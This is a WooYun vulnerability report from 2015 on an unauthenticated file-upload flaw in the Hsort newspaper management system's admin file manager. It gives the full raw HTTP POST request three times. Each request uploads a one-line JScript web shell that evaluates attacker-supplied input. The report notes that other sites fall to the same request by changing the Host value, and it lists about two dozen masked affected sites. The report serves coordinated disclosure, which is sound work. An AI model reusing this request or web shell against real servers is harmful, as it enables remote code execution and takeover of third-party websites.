当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0141695

漏洞标题：Hsort报刊管理系统getshell

相关厂商：北京水天科技有限公司

漏洞作者： 路人甲

提交时间：2015-09-20 12:44

修复时间：2015-12-21 20:02

公开时间：2015-12-21 20:02

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-20： 细节已通知厂商并且等待厂商处理中
2015-09-22： 厂商已经确认，细节仅向厂商公开
2015-09-25： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2015-11-16： 细节向核心白帽子及相关领域专家公开
2015-11-26： 细节向普通白帽子公开
2015-12-06： 细节向实习白帽子公开
2015-12-21： 细节向公众公开

简要描述：

前台getshell，通杀所有版本。

详细说明：

Hsort报刊管理系统,有大量报社在使用该系统。
后台某处上传文件时，未对用户身份进行验证，因此造成了任意文件上传。
#1 以http://**.**.**.**/ 为例
构造以下post请求，再使用burpsuite模拟提交，即可成功上传了一个名为1.aspx的小马到网站根目录。

POST /Admin/fileManage.aspx?action=UPLOAD&value1=~/ HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 270
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzU8cYAkiaOHkm3gA
Referer: http://**.**.**.**/Admin/HsortWebExplorer.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ja;q=0.2
Cookie: menuitems=1_1%2C2_1%2C3_1%2C6_1%2C7_1%2C8_1; ASPSESSIONIDAQQCCTAS=MDPBIBFCNNGPEMMPIKBIFAEO; ASP.NET_SessionId=cqz2nw450qlxni254ihyh03w; ImageV=QTB5K; userID=8; .ASPXAUTH=C64B54127984EDB2B5EC27C4379C52D8C9DEEA8E35777741B4143F50E45AB5BA00647DD9D604E701535E52FC2DDD938A9312D474008E92FB15887C22E8F2840C16BEDDD4A6ADC8C7; LWSysUserName=admin
------WebKitFormBoundaryzU8cYAkiaOHkm3gA
Content-Disposition: form-data; name="selectFile"; filename="1.aspx"
Content-Type: application/octet-stream
<%@ Page Language="Jscript"%><%eval(Request.Item["123a5"],"unsafe");%>
------WebKitFormBoundaryzU8cYAkiaOHkm3gA--


PS: 以上code标签里的内容，如果直接复制黏贴使用的话，数据包格式可能不对，因为为了方便阅读，系统好像自动在行与行之间空了一行，删除行与行之间多余的空行即可。自己发出来后又测试了一下，发现不对了，弄了半天发现是这个问题.....

1.jpg


上传成功

http://**.**.**.**/1.aspx


2.png


其他目标只需修改post数据包中的主机地址 host的值即可，也可以通过修改参数value1的值，上传到网站的其他目录下。
#2

POST /Admin/fileManage.aspx?action=UPLOAD&value1=~/ HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 270
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzU8cYAkiaOHkm3gA
Referer: http://**.**.**.**/Admin/HsortWebExplorer.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ja;q=0.2
Cookie: menuitems=1_1%2C2_1%2C3_1%2C6_1%2C7_1%2C8_1; ASPSESSIONIDAQQCCTAS=MDPBIBFCNNGPEMMPIKBIFAEO; ASP.NET_SessionId=cqz2nw450qlxni254ihyh03w; ImageV=QTB5K; userID=8; .ASPXAUTH=C64B54127984EDB2B5EC27C4379C52D8C9DEEA8E35777741B4143F50E45AB5BA00647DD9D604E701535E52FC2DDD938A9312D474008E92FB15887C22E8F2840C16BEDDD4A6ADC8C7; LWSysUserName=admin
------WebKitFormBoundaryzU8cYAkiaOHkm3gA
Content-Disposition: form-data; name="selectFile"; filename="1.aspx"
Content-Type: application/octet-stream
<%@ Page Language="Jscript"%><%eval(Request.Item["123a5"],"unsafe");%>
------WebKitFormBoundaryzU8cYAkiaOHkm3gA--


4.jpg


http://**.**.**.**/1.aspx


#3

POST /Admin/fileManage.aspx?action=UPLOAD&value1=~/ HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 270
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzU8cYAkiaOHkm3gA
Referer: http://**.**.**.**/Admin/HsortWebExplorer.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ja;q=0.2
Cookie: menuitems=1_1%2C2_1%2C3_1%2C6_1%2C7_1%2C8_1; ASPSESSIONIDAQQCCTAS=MDPBIBFCNNGPEMMPIKBIFAEO; ASP.NET_SessionId=cqz2nw450qlxni254ihyh03w; ImageV=QTB5K; userID=8; .ASPXAUTH=C64B54127984EDB2B5EC27C4379C52D8C9DEEA8E35777741B4143F50E45AB5BA00647DD9D604E701535E52FC2DDD938A9312D474008E92FB15887C22E8F2840C16BEDDD4A6ADC8C7; LWSysUserName=admin
------WebKitFormBoundaryzU8cYAkiaOHkm3gA
Content-Disposition: form-data; name="selectFile"; filename="1.aspx"
Content-Type: application/octet-stream
<%@ Page Language="Jscript"%><%eval(Request.Item["123a5"],"unsafe");%>
------WebKitFormBoundaryzU8cYAkiaOHkm3gA--


http://**.**.**.**/1.aspx

漏洞证明：

其他测试案例：

http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**:90/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**:8070/
http://**.**.**.**:8080/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2015-09-22 20:01

厂商回复：

CNVD确认所述情况，已经由CNVD通过网站公开联系方式向软件生产厂商通报。

最新状态：

暂无